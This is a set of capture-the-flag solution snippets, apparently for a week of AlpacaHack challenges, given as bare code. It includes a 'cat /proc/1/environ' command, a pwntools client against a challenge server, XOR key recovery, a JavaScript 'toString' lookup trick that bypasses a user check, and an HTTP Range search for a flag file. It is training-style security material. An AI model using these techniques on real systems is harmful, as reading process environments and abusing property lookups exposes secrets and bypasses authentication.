Daily AlpacaHack Writeup (2026-03-09 ~ 2026-03-15)

Copy

cat /proc/1/environ
        

Copy

import itertools
from pwn import *

chars = ['0', '_']

factors = []
factor_set = set()

for i in range(8):
    for s in itertools.product(chars, repeat=i):
        s = ''.join(s)

        if not s.startswith('0'):
            continue

        if '__' in s:
            continue

        t = s + "100"
        t = t.strip()
        
        assert int(t) == 100 and len(t) <= 10.0 and t not in factor_set
        factors.append(t)
        factor_set.add(t)
        
        if len(t) < 10:
            t = "+" + t
            assert int(t) == 100 and len(t) <= 10.0 and t not in factor_set
            factors.append(t)
            factor_set.add(t)
            
            t = s + "10_0"
            t = t.strip()
            
            assert int(t) == 100 and len(t) <= 10.0 and t not in factor_set
            factors.append(t)
            factor_set.add(t)
    
_, host, port = "nc 34.170.146.252 23793".split()
sh = remote(host, port)

for i in range(100):
    prompt = sh.recvuntil("100?".encode())
    print(prompt.decode())
    sh.sendline(factors[i].encode())
    
sh.interactive()
        

Copy

import string

with open("output.txt", "r") as f:
    c = f.read().strip()
    
key = []
plain = "Alpaca{"
    
for i in range(7):
    tmp_int = int(c[2*i:2*(i+1)], 16)
    for char in string.ascii_letters:
        if chr(tmp_int ^ ord(char)) == plain[i]:
            print("key found!", ord(char))
            key.append(ord(char))
    assert len(key) > i, "key not found......"
    
flag = ""

for i in range(len(c) // 2):
    flag += chr(int(c[2*i:2*(i+1)], 16) ^ key[i % 7])
    
print(flag)
        

Copy

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        

Copy

a = 2;
console.log(a.toString());
console.log(a["toString"]());
        

Copy

let users = {
  admin: {
    password: "testpass",
  },
};

user = users["toString"];

console.log(user);
console.log(user.password);
        

Copy

フラグを用意し忘れたらしい
        

Copy

import requests

target_url = "https://flag-txt.chal.alp4ca.com/flag.txt"

resp = requests.head(target_url)
c_length = int(resp.headers.get("Content-Length").strip())
print("Content-Length:", c_length)

binary_itr = c_length // 2
search_range = binary_itr // 2
while True:
    print("search:", binary_itr, "range:", search_range)
    headers = {"Range" : f"bytes={binary_itr}-{binary_itr+512}"}

    resp = requests.get(target_url, headers=headers)

    if "{" in resp.text or "]" in resp.text:
        print("hit!:", binary_itr)
        print(resp.text)
        break
    elif "." in resp.text:
        binary_itr += search_range
    elif "!" in resp.text:
        binary_itr -= search_range
    else:
        print("some error occured in", binary_itr, search_range)
        exit()
    search_range = search_range // 2